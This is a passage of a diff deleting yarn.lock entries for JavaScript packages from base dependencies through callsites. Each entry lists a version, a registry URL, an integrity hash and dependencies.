-    cache-base "^1.0.1"
-    class-utils "^0.3.5"
-    component-emitter "^1.2.1"
-    define-property "^1.0.0"
-    isobject "^3.0.1"
-    mixin-deep "^1.2.0"
-    pascalcase "^0.1.1"
-
-batch-processor@1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/batch-processor/-/batch-processor-1.0.0.tgz#75c95c32b748e0850d10c2b168f6bdbe9891ace8"
-  integrity sha1-dclcMrdI4IUNEMKxaPa9vpiRrOg=
-
-batch@0.6.1:
-  version "0.6.1"
-  resolved "https://registry.yarnpkg.com/batch/-/batch-0.6.1.tgz#dc34314f4e679318093fc760272525f94bf25c16"
-  integrity sha1-3DQxT05nkxgJP8dgJyUl+UvyXBY=
-
-bcrypt-pbkdf@^1.0.0:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz#a4301d389b6a43f9b67ff3ca11a3f6637e360e9e"
-  integrity sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=
-  dependencies:
-    tweetnacl "^0.14.3"
-
-bech32@1.1.4:
-  version "1.1.4"
-  resolved "https://registry.yarnpkg.com/bech32/-/bech32-1.1.4.tgz#e38c9f37bf179b8eb16ae3a772b40c356d4832e9"
-  integrity sha512-s0IrSOzLlbvX7yp4WBfPITzpAU8sqQcpsmwXDiKwrG4r491vwCO/XpejasRNl0piBMe/DvP4Tz0mIS/X1DPJBQ==
-
-big.js@^5.2.2:
-  version "5.2.2"
-  resolved "https://registry.yarnpkg.com/big.js/-/big.js-5.2.2.tgz#65f0af382f578bcdc742bd9c281e9cb2d7768328"
-  integrity sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==
-
-bignumber.js@^9.0.0:
-  version "9.0.1"
-  resolved "https://registry.yarnpkg.com/bignumber.js/-/bignumber.js-9.0.1.tgz#8d7ba124c882bfd8e43260c67475518d0689e4e5"
-  integrity sha512-IdZR9mh6ahOBv/hYGiXyVuyCetmGJhtYkqLBpTStdhEGjegpPlUawydyaF3pbIOFynJTpllEs+NP+CS9jKFLjA==
-
-binary-extensions@^1.0.0:
-  version "1.13.1"
-  resolved "https://registry.yarnpkg.com/binary-extensions/-/binary-extensions-1.13.1.tgz#598afe54755b2868a5330d2aff9d4ebb53209b65"
-  integrity sha512-Un7MIEDdUC5gNpcGDV97op1Ywk748MpHcFTHoYs6qnj1Z3j7I53VG3nwZhKzoBZmbdRNnb6WRdFlwl7tSDuZGw==
-
-binary-extensions@^2.0.0:
-  version "2.2.0"
-  resolved "https://registry.yarnpkg.com/binary-extensions/-/binary-extensions-2.2.0.tgz#75f502eeaf9ffde42fc98829645be4ea76bd9e2d"
-  integrity sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==
-
-bindings@^1.5.0:
-  version "1.5.0"
-  resolved "https://registry.yarnpkg.com/bindings/-/bindings-1.5.0.tgz#10353c9e945334bc0511a6d90b38fbc7c9c504df"
-  integrity sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ==
-  dependencies:
-    file-uri-to-path "1.0.0"
-
-bip39@^3.0.2:
-  version "3.0.4"
-  resolved "https://registry.yarnpkg.com/bip39/-/bip39-3.0.4.tgz#5b11fed966840b5e1b8539f0f54ab6392969b2a0"
-  integrity sha512-YZKQlb752TrUWqHWj7XAwCSjYEgGAk+/Aas3V7NyjQeZYsztO8JnQUaCWhcnL4T+jL8nvB8typ2jRPzTlgugNw==
-  dependencies:
-    "@types/node" "11.11.6"
-    create-hash "^1.1.0"
-    pbkdf2 "^3.0.9"
-    randombytes "^2.0.1"
-
-bl@^4.0.0:
-  version "4.1.0"
-  resolved "https://registry.yarnpkg.com/bl/-/bl-4.1.0.tgz#451535264182bec2fbbc83a62ab98cf11d9f7b3a"
-  integrity sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==
-  dependencies:
-    buffer "^5.5.0"
-    inherits "^2.0.4"
-    readable-stream "^3.4.0"
-
-blakejs@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/blakejs/-/blakejs-1.1.0.tgz#69df92ef953aa88ca51a32df6ab1c54a155fc7a5"
-  integrity sha1-ad+S75U6qIylGjLfarHFShVfx6U=
-
-blob-to-it@0.0.1:
-  version "0.0.1"
-  resolved "https://registry.yarnpkg.com/blob-to-it/-/blob-to-it-0.0.1.tgz#27067ec8f8c4ed008d42eb2a7227fc9df3b7fa25"
-  integrity sha512-gvOVIs0YUpKHAwvhoJcRs81LJrOb+kwOol0/NnF/JgD0a5i9SJ/Es/njJo3NgFzb+x/FDPh4cD4D1KnrBeUWuw==
-  dependencies:
-    browser-readablestream-to-it "^0.0.1"
-
-block-stream@*:
-  version "0.0.9"
-  resolved "https://registry.yarnpkg.com/block-stream/-/block-stream-0.0.9.tgz#13ebfe778a03205cfe03751481ebb4b3300c126a"
-  integrity sha1-E+v+d4oDIFz+A3UUgeu0szAMEmo=
-  dependencies:
-    inherits "~2.0.0"
-
-bluebird@^3.5.5:
-  version "3.7.2"
-  resolved "https://registry.yarnpkg.com/bluebird/-/bluebird-3.7.2.tgz#9f229c15be272454ffa973ace0dbee79a1b0c36f"
-  integrity sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==
-
-bn.js@4.11.8:
-  version "4.11.8"
-  resolved "https://registry.yarnpkg.com/bn.js/-/bn.js-4.11.8.tgz#2cde09eb5ee341f484746bb0309b3253b1b1442f"
-  integrity sha512-ItfYfPLkWHUjckQCk8xC+LwxgK8NYcXywGigJgSwOP8Y2iyWT4f2vsZnoOXTTbo+o5yXmIUJ4gn5538SO5S3gA==
-
-bn.js@^4.0.0, bn.js@^4.1.0, bn.js@^4.11.0, bn.js@^4.11.1, bn.js@^4.11.8, bn.js@^4.11.9, bn.js@^4.4.0:
-  version "4.12.0"
-  resolved "https://registry.yarnpkg.com/bn.js/-/bn.js-4.12.0.tgz#775b3f278efbb9718eec7361f483fb36fbbfea88"
-  integrity sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==
-
-bn.js@^5.0.0, bn.js@^5.1.1:
-  version "5.2.0"
-  resolved "https://registry.yarnpkg.com/bn.js/-/bn.js-5.2.0.tgz#358860674396c6997771a9d051fcc1b57d4ae002"
-  integrity sha512-D7iWRBvnZE8ecXiLj/9wbxH7Tk79fAh8IHaTNq1RWRixsS02W+5qS+iE9yq6RYl0asXx5tw0bLhmT5pIfbSquw==
-
-bnc-notify@^1.5.0:
-  version "1.6.2"
-  resolved "https://registry.yarnpkg.com/bnc-notify/-/bnc-notify-1.6.2.tgz#f3b0b222668560fe83332871420dbbf04cac9839"
-  integrity sha512-W4EiukypimEBY9/jqlpZYduxniRh5T5yJxyZ6H8Vd0L01B3t4Kb6A6Mx8mKoU+MuucmfNhWaoAKm8EYWPNG9Uw==
-  dependencies:
-    bignumber.js "^9.0.0"
-    bnc-sdk "^3.3.4"
-    lodash.debounce "^4.0.8"
-    regenerator-runtime "^0.13.3"
-    uuid "^3.3.3"
-
-bnc-sdk@^3.3.4:
-  version "3.4.0"
-  resolved "https://registry.yarnpkg.com/bnc-sdk/-/bnc-sdk-3.4.0.tgz#402874a4a794ccf5dd8ba8fba6925e24b38f772e"
-  integrity sha512-JVDDyIYucFQyq+ZfHSBVZG+R2Ophhdi+HIK5zj1gE2MYSCK/Ax8Budqys9/LyZkGdewWHZ5EWi2TUehxAbx0Rw==
-  dependencies:
-    crypto-es "^1.2.2"
-    rxjs "^6.6.3"
-    sturdy-websocket "^0.1.12"
-
-body-parser@1.19.0:
-  version "1.19.0"
-  resolved "https://registry.yarnpkg.com/body-parser/-/body-parser-1.19.0.tgz#96b2709e57c9c4e09a6fd66a8fd979844f69f08a"
-  integrity sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw==
-  dependencies:
-    bytes "3.1.0"
-    content-type "~1.0.4"
-    debug "2.6.9"
-    depd "~1.1.2"
-    http-errors "1.7.2"
-    iconv-lite "0.4.24"
-    on-finished "~2.3.0"
-    qs "6.7.0"
-    raw-body "2.4.0"
-    type-is "~1.6.17"
-
-body-scroll-lock@^2.6.4:
-  version "2.7.1"
-  resolved "https://registry.yarnpkg.com/body-scroll-lock/-/body-scroll-lock-2.7.1.tgz#caf3f9c91773af1ffb684cd66ed9137b5b737014"
-  integrity sha512-hS53SQ8RhM0e4DsQ3PKz6Gr2O7Kpdh59TWU98GHjaQznL7y4dFycEPk7pFQAikqBaUSCArkc5E3pe7CWIt2fZA==
-
-bonjour@^3.5.0:
-  version "3.5.0"
-  resolved "https://registry.yarnpkg.com/bonjour/-/bonjour-3.5.0.tgz#8e890a183d8ee9a2393b3844c691a42bcf7bc9f5"
-  integrity sha1-jokKGD2O6aI5OzhExpGkK897yfU=
-  dependencies:
-    array-flatten "^2.1.0"
-    deep-equal "^1.0.1"
-    dns-equal "^1.0.0"
-    dns-txt "^2.0.2"
-    multicast-dns "^6.0.1"
-    multicast-dns-service-types "^1.1.0"
-
-boolbase@^1.0.0, boolbase@~1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/boolbase/-/boolbase-1.0.0.tgz#68dff5fbe60c51eb37725ea9e3ed310dcc1e776e"
-  integrity sha1-aN/1++YMUes3cl6p4+0xDcwed24=
-
-borc@^2.1.2:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/borc/-/borc-2.1.2.tgz#6ce75e7da5ce711b963755117dd1b187f6f8cf19"
-  integrity sha512-Sy9eoUi4OiKzq7VovMn246iTo17kzuyHJKomCfpWMlI6RpfN1gk95w7d7gH264nApVLg0HZfcpz62/g4VH1Y4w==
-  dependencies:
-    bignumber.js "^9.0.0"
-    buffer "^5.5.0"
-    commander "^2.15.0"
-    ieee754 "^1.1.13"
-    iso-url "~0.4.7"
-    json-text-sequence "~0.1.0"
-    readable-stream "^3.6.0"
-
-bowser@^1.7.3:
-  version "1.9.4"
-  resolved "https://registry.yarnpkg.com/bowser/-/bowser-1.9.4.tgz#890c58a2813a9d3243704334fa81b96a5c150c9a"
-  integrity sha512-9IdMmj2KjigRq6oWhmwv1W36pDuA4STQZ8q6YO9um+x07xgYNCD3Oou+WP/3L1HNz7iqythGet3/p4wvc8AAwQ==
-
-brace-expansion@^1.1.7:
-  version "1.1.11"
-  resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-1.1.11.tgz#3c7fcbf529d87226f3d2f52b966ff5271eb441dd"
-  integrity sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==
-  dependencies:
-    balanced-match "^1.0.0"
-    concat-map "0.0.1"
-
-braces@^2.3.1, braces@^2.3.2:
-  version "2.3.2"
-  resolved "https://registry.yarnpkg.com/braces/-/braces-2.3.2.tgz#5979fd3f14cd531565e5fa2df1abfff1dfaee729"
-  integrity sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==
-  dependencies:
-    arr-flatten "^1.1.0"
-    array-unique "^0.3.2"
-    extend-shallow "^2.0.1"
-    fill-range "^4.0.0"
-    isobject "^3.0.1"
-    repeat-element "^1.1.2"
-    snapdragon "^0.8.1"
-    snapdragon-node "^2.0.1"
-    split-string "^3.0.2"
-    to-regex "^3.0.1"
-
-braces@^3.0.1, braces@~3.0.2:
-  version "3.0.2"
-  resolved "https://registry.yarnpkg.com/braces/-/braces-3.0.2.tgz#3454e1a462ee8d599e236df336cd9ea4f8afe107"
-  integrity sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==
-  dependencies:
-    fill-range "^7.0.1"
-
-brorand@^1.0.1, brorand@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/brorand/-/brorand-1.1.0.tgz#12c25efe40a45e3c323eb8675a0a0ce57b22371f"
-  integrity sha1-EsJe/kCkXjwyPrhnWgoM5XsiNx8=
-
-browser-process-hrtime@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/browser-process-hrtime/-/browser-process-hrtime-1.0.0.tgz#3c9b4b7d782c8121e56f10106d84c0d0ffc94626"
-  integrity sha512-9o5UecI3GhkpM6DrXr69PblIuWxPKk9Y0jHBRhdocZ2y7YECBFCsHm79Pr3OyR2AvjhDkabFJaDJMYRazHgsow==
-
-browser-readablestream-to-it@0.0.1, browser-readablestream-to-it@^0.0.1:
-  version "0.0.1"
-  resolved "https://registry.yarnpkg.com/browser-readablestream-to-it/-/browser-readablestream-to-it-0.0.1.tgz#90e5f37838115241686e219e040f155c087c1ca4"
-  integrity sha512-leRiI4bLRr7K8znNmQZ3frgL8A7aX4LI4g7444YEtT3alaxqem+XPGsJmOlFRRdRqjFpvf2wW4dXKcgBLxypVg==
-
-browser-resolve@^1.11.3:
-  version "1.11.3"
-  resolved "https://registry.yarnpkg.com/browser-resolve/-/browser-resolve-1.11.3.tgz#9b7cbb3d0f510e4cb86bdbd796124d28b5890af6"
-  integrity sha512-exDi1BYWB/6raKHmDTCicQfTkqwN5fioMFV4j8BsfMU4R2DK/QfZfK7kOVkmWCNANf0snkBzqGqAJBao9gZMdQ==
-  dependencies:
-    resolve "1.1.7"
-
-browserify-aes@^1.0.0, browserify-aes@^1.0.4, browserify-aes@^1.2.0:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/browserify-aes/-/browserify-aes-1.2.0.tgz#326734642f403dabc3003209853bb70ad428ef48"
-  integrity sha512-+7CHXqGuspUn/Sl5aO7Ea0xWGAtETPXNSAjHo48JfLdPWcMng33Xe4znFvQweqc/uzk5zSOI3H52CYnjCfb5hA==
-  dependencies:
-    buffer-xor "^1.0.3"
-    cipher-base "^1.0.0"
-    create-hash "^1.1.0"
-    evp_bytestokey "^1.0.3"
-    inherits "^2.0.1"
-    safe-buffer "^5.0.1"
-
-browserify-cipher@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/browserify-cipher/-/browserify-cipher-1.0.1.tgz#8d6474c1b870bfdabcd3bcfcc1934a10e94f15f0"
-  integrity sha512-sPhkz0ARKbf4rRQt2hTpAHqn47X3llLkUGn+xEJzLjwY8LRs2p0v7ljvI5EyoRO/mexrNunNECisZs+gw2zz1w==
-  dependencies:
-    browserify-aes "^1.0.4"
-    browserify-des "^1.0.0"
-    evp_bytestokey "^1.0.0"
-
-browserify-des@^1.0.0:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/browserify-des/-/browserify-des-1.0.2.tgz#3af4f1f59839403572f1c66204375f7a7f703e9c"
-  integrity sha512-BioO1xf3hFwz4kc6iBhI3ieDFompMhrMlnDFC4/0/vd5MokpuAc3R+LYbwTA9A5Yc9pq9UYPqffKpW2ObuwX5A==
-  dependencies:
-    cipher-base "^1.0.1"
-    des.js "^1.0.0"
-    inherits "^2.0.1"
-    safe-buffer "^5.1.2"
-
-browserify-rsa@^4.0.0, browserify-rsa@^4.0.1:
-  version "4.1.0"
-  resolved "https://registry.yarnpkg.com/browserify-rsa/-/browserify-rsa-4.1.0.tgz#b2fd06b5b75ae297f7ce2dc651f918f5be158c8d"
-  integrity sha512-AdEER0Hkspgno2aR97SAf6vi0y0k8NuOpGnVH3O99rcA5Q6sh8QxcngtHuJ6uXwnfAXNM4Gn1Gb7/MV1+Ymbog==
-  dependencies:
-    bn.js "^5.0.0"
-    randombytes "^2.0.1"
-
-browserify-sign@^4.0.0:
-  version "4.2.1"
-  resolved "https://registry.yarnpkg.com/browserify-sign/-/browserify-sign-4.2.1.tgz#eaf4add46dd54be3bb3b36c0cf15abbeba7956c3"
-  integrity sha512-/vrA5fguVAKKAVTNJjgSm1tRQDHUU6DbwO9IROu/0WAzC8PKhucDSh18J0RMvVeHAn5puMd+QHC2erPRNf8lmg==
-  dependencies:
-    bn.js "^5.1.1"
-    browserify-rsa "^4.0.1"
-    create-hash "^1.2.0"
-    create-hmac "^1.1.7"
-    elliptic "^6.5.3"
-    inherits "^2.0.4"
-    parse-asn1 "^5.1.5"
-    readable-stream "^3.6.0"
-    safe-buffer "^5.2.0"
-
-browserify-zlib@^0.2.0:
-  version "0.2.0"
-  resolved "https://registry.yarnpkg.com/browserify-zlib/-/browserify-zlib-0.2.0.tgz#2869459d9aa3be245fe8fe2ca1f46e2e7f54d73f"
-  integrity sha512-Z942RysHXmJrhqk88FmKBVq/v5tqmSkDz7p54G/MGyjMnCFFnC79XWNbg+Vta8W6Wb2qtSZTSxIGkJrRpCFEiA==
-  dependencies:
-    pako "~1.0.5"
-
-browserslist@4.10.0:
-  version "4.10.0"
-  resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.10.0.tgz#f179737913eaf0d2b98e4926ac1ca6a15cbcc6a9"
-  integrity sha512-TpfK0TDgv71dzuTsEAlQiHeWQ/tiPqgNZVdv046fvNtBZrjbv2O3TsWCDU0AWGJJKCF/KsjNdLzR9hXOsh/CfA==
-  dependencies:
-    caniuse-lite "^1.0.30001035"
-    electron-to-chromium "^1.3.378"
-    node-releases "^1.1.52"
-    pkg-up "^3.1.0"
-
-browserslist@^4.0.0, browserslist@^4.12.0, browserslist@^4.16.6, browserslist@^4.6.2, browserslist@^4.6.4, browserslist@^4.9.1:
-  version "4.16.6"
-  resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.16.6.tgz#d7901277a5a88e554ed305b183ec9b0c08f66fa2"
-  integrity sha512-Wspk/PqO+4W9qp5iUTJsa1B/QrYn1keNCcEP5OvP7WBwT4KaDly0uONYmC6Xa3Z5IqnUgS0KcgLYu1l74x0ZXQ==
-  dependencies:
-    caniuse-lite "^1.0.30001219"
-    colorette "^1.2.2"
-    electron-to-chromium "^1.3.723"
-    escalade "^3.1.1"
-    node-releases "^1.1.71"
-
-bs58@^4.0.0:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/bs58/-/bs58-4.0.1.tgz#be161e76c354f6f788ae4071f63f34e8c4f0a42a"
-  integrity sha1-vhYedsNU9veIrkBx9j806MTwpCo=
-  dependencies:
-    base-x "^3.0.2"
-
-bs58check@^2.1.2:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/bs58check/-/bs58check-2.1.2.tgz#53b018291228d82a5aa08e7d796fdafda54aebfc"
-  integrity sha512-0TS1jicxdU09dwJMNZtVAfzPi6Q6QeN0pM1Fkzrjn+XYHvzMKPU3pHVpva+769iNVSfIYWf7LJ6WR+BuuMf8cA==
-  dependencies:
-    bs58 "^4.0.0"
-    create-hash "^1.1.0"
-    safe-buffer "^5.1.2"
-
-bser@2.1.1:
-  version "2.1.1"
-  resolved "https://registry.yarnpkg.com/bser/-/bser-2.1.1.tgz#e6787da20ece9d07998533cfd9de6f5c38f4bc05"
-  integrity sha512-gQxTNE/GAfIIrmHLUE3oJyp5FO6HRBfhjnw4/wMmA63ZGDJnWBmgY/lyQBpnDUkGmAhbSe39tx2d/iTOAfglwQ==
-  dependencies:
-    node-int64 "^0.4.0"
-
-btoa@^1.2.1:
-  version "1.2.1"
-  resolved "https://registry.yarnpkg.com/btoa/-/btoa-1.2.1.tgz#01a9909f8b2c93f6bf680ba26131eb30f7fa3d73"
-  integrity sha512-SB4/MIGlsiVkMcHmT+pSmIPoNDoHg+7cMzmt3Uxt628MTz2487DKSqK/fuhFBrkuqrYv5UCEnACpF4dTFNKc/g==
-
-buffer-alloc-unsafe@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/buffer-alloc-unsafe/-/buffer-alloc-unsafe-1.1.0.tgz#bd7dc26ae2972d0eda253be061dba992349c19f0"
-  integrity sha512-TEM2iMIEQdJ2yjPJoSIsldnleVaAk1oW3DBVUykyOLsEsFmEc9kn+SFFPz+gl54KQNxlDnAwCXosOS9Okx2xAg==
-
-buffer-alloc@^1.2.0:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/buffer-alloc/-/buffer-alloc-1.2.0.tgz#890dd90d923a873e08e10e5fd51a57e5b7cce0ec"
-  integrity sha512-CFsHQgjtW1UChdXgbyJGtnm+O/uLQeZdtbDo8mfUgYXCHSM1wgrVxXm6bSyrUuErEb+4sYVGCzASBRot7zyrow==
-  dependencies:
-    buffer-alloc-unsafe "^1.1.0"
-    buffer-fill "^1.0.0"
-
-buffer-equal@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/buffer-equal/-/buffer-equal-1.0.0.tgz#59616b498304d556abd466966b22eeda3eca5fbe"
-  integrity sha1-WWFrSYME1Var1GaWayLu2j7KX74=
-
-buffer-fill@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/buffer-fill/-/buffer-fill-1.0.0.tgz#f8f78b76789888ef39f205cd637f68e702122b2c"
-  integrity sha1-+PeLdniYiO858gXNY39o5wISKyw=
-
-buffer-from@^1.0.0, buffer-from@^1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/buffer-from/-/buffer-from-1.1.1.tgz#32713bc028f75c02fdb710d7c7bcec1f2c6070ef"
-  integrity sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==
-
-buffer-indexof@^1.0.0:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/buffer-indexof/-/buffer-indexof-1.1.1.tgz#52fabcc6a606d1a00302802648ef68f639da268c"
-  integrity sha512-4/rOEg86jivtPTeOUUT61jJO1Ya1TrR/OkqCSZDyq84WJh3LuuiphBYJN+fm5xufIk4XAFcEwte/8WzC8If/1g==
-
-buffer-xor@^1.0.3:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/buffer-xor/-/buffer-xor-1.0.3.tgz#26e61ed1422fb70dd42e6e36729ed51d855fe8d9"
-  integrity sha1-JuYe0UIvtw3ULm42cp7VHYVf6Nk=
-
-buffer@4.9.1:
-  version "4.9.1"
-  resolved "https://registry.yarnpkg.com/buffer/-/buffer-4.9.1.tgz#6d1bb601b07a4efced97094132093027c95bc298"
-  integrity sha1-bRu2AbB6TvztlwlBMgkwJ8lbwpg=
-  dependencies:
-    base64-js "^1.0.2"
-    ieee754 "^1.1.4"
-    isarray "^1.0.0"
-
-buffer@^4.3.0:
-  version "4.9.2"
-  resolved "https://registry.yarnpkg.com/buffer/-/buffer-4.9.2.tgz#230ead344002988644841ab0244af8c44bbe3ef8"
-  integrity sha512-xq+q3SRMOxGivLhBNaUdC64hDTQwejJ+H0T/NB1XMtTVEwNTrfFF3gAxiyW0Bu/xWEGhjVKgUcMhCrUy2+uCWg==
-  dependencies:
-    base64-js "^1.0.2"
-    ieee754 "^1.1.4"
-    isarray "^1.0.0"
-
-buffer@^5.4.3, buffer@^5.5.0, buffer@^5.6.0:
-  version "5.7.1"
-  resolved "https://registry.yarnpkg.com/buffer/-/buffer-5.7.1.tgz#ba62e7c13133053582197160851a8f648e99eed0"
-  integrity sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==
-  dependencies:
-    base64-js "^1.3.1"
-    ieee754 "^1.1.13"
-
-builtin-status-codes@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/builtin-status-codes/-/builtin-status-codes-3.0.0.tgz#85982878e21b98e1c66425e03d0174788f569ee8"
-  integrity sha1-hZgoeOIbmOHGZCXgPQF0eI9Wnug=
-
-burner-provider@^1.0.15, burner-provider@^1.0.38:
-  version "1.0.38"
-  resolved "https://registry.yarnpkg.com/burner-provider/-/burner-provider-1.0.38.tgz#a610ebfdf13220558bd2b8f3db73bad0eea8954f"
-  integrity sha512-ZcZ8wNm380+l4MlVD5qhy5Gsa6Gr0Cftniksyqw6tVi+HmFuy8mvu1+eJR4Vt7NdGNWh9v74zNJVx3HQfQveUw==
-  dependencies:
-    bip39 "^3.0.2"
-    eth-sig-util "^2.5.3"
-    ethereumjs-wallet "^0.6.3"
-    ethers "^4.0.46"
-    web3-provider-engine "^15.0.7"
-
-bytes@3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/bytes/-/bytes-3.0.0.tgz#d32815404d689699f85a4ea4fa8755dd13a96048"
-  integrity sha1-0ygVQE1olpn4Wk6k+odV3ROpYEg=
-
-bytes@3.1.0:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/bytes/-/bytes-3.1.0.tgz#f6cf7933a360e0588fa9fde85651cdc7f805d1f6"
-  integrity sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==
-
-cacache@^12.0.2:
-  version "12.0.4"
-  resolved "https://registry.yarnpkg.com/cacache/-/cacache-12.0.4.tgz#668bcbd105aeb5f1d92fe25570ec9525c8faa40c"
-  integrity sha512-a0tMB40oefvuInr4Cwb3GerbL9xTj1D5yg0T5xrjGCGyfvbxseIXX7BAO/u/hIXdafzOI5JC3wDwHyf24buOAQ==
-  dependencies:
-    bluebird "^3.5.5"
-    chownr "^1.1.1"
-    figgy-pudding "^3.5.1"
-    glob "^7.1.4"
-    graceful-fs "^4.1.15"
-    infer-owner "^1.0.3"
-    lru-cache "^5.1.1"
-    mississippi "^3.0.0"
-    mkdirp "^0.5.1"
-    move-concurrently "^1.0.1"
-    promise-inflight "^1.0.1"
-    rimraf "^2.6.3"
-    ssri "^6.0.1"
-    unique-filename "^1.1.1"
-    y18n "^4.0.0"
-
-cacache@^13.0.1:
-  version "13.0.1"
-  resolved "https://registry.yarnpkg.com/cacache/-/cacache-13.0.1.tgz#a8000c21697089082f85287a1aec6e382024a71c"
-  integrity sha512-5ZvAxd05HDDU+y9BVvcqYu2LLXmPnQ0hW62h32g4xBTgL/MppR4/04NHfj/ycM2y6lmTnbw6HVi+1eN0Psba6w==
-  dependencies:
-    chownr "^1.1.2"
-    figgy-pudding "^3.5.1"
-    fs-minipass "^2.0.0"
-    glob "^7.1.4"
-    graceful-fs "^4.2.2"
-    infer-owner "^1.0.4"
-    lru-cache "^5.1.1"
-    minipass "^3.0.0"
-    minipass-collect "^1.0.2"
-    minipass-flush "^1.0.5"
-    minipass-pipeline "^1.2.2"
-    mkdirp "^0.5.1"
-    move-concurrently "^1.0.1"
-    p-map "^3.0.0"
-    promise-inflight "^1.0.1"
-    rimraf "^2.7.1"
-    ssri "^7.0.0"
-    unique-filename "^1.1.1"
-
-cache-base@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/cache-base/-/cache-base-1.0.1.tgz#0a7f46416831c8b662ee36fe4e7c59d76f666ab2"
-  integrity sha512-AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ==
-  dependencies:
-    collection-visit "^1.0.0"
-    component-emitter "^1.2.1"
-    get-value "^2.0.6"
-    has-value "^1.0.0"
-    isobject "^3.0.1"
-    set-value "^2.0.0"
-    to-object-path "^0.3.0"
-    union-value "^1.0.0"
-    unset-value "^1.0.0"
-
-call-bind@^1.0.0, call-bind@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/call-bind/-/call-bind-1.0.2.tgz#b1d4e89e688119c3c9a903ad30abb2f6a919be3c"
-  integrity sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==
-  dependencies:
-    function-bind "^1.1.1"
-    get-intrinsic "^1.0.2"
-
-call-me-maybe@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/call-me-maybe/-/call-me-maybe-1.0.1.tgz#26d208ea89e37b5cbde60250a15f031c16a4d66b"
-  integrity sha1-JtII6onje1y95gJQoV8DHBak1ms=
-
-caller-callsite@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/caller-callsite/-/caller-callsite-2.0.0.tgz#847e0fce0a223750a9a027c54b33731ad3154134"
-  integrity sha1-hH4PzgoiN1CpoCfFSzNzGtMVQTQ=
-  dependencies:
-    callsites "^2.0.0"
-
-caller-path@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/caller-path/-/caller-path-2.0.0.tgz#468f83044e369ab2010fac5f06ceee15bb2cb1f4"
-  integrity sha1-Ro+DBE42mrIBD6xfBs7uFbsssfQ=
-  dependencies:
-    caller-callsite "^2.0.0"
-
-callsites@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/callsites/-/callsites-2.0.0.tgz#06eb84f00eea413da86affefacbffb36093b3c50"
-  integrity sha1-BuuE8A7qQT2oav/vrL/7Ngk7PFA=
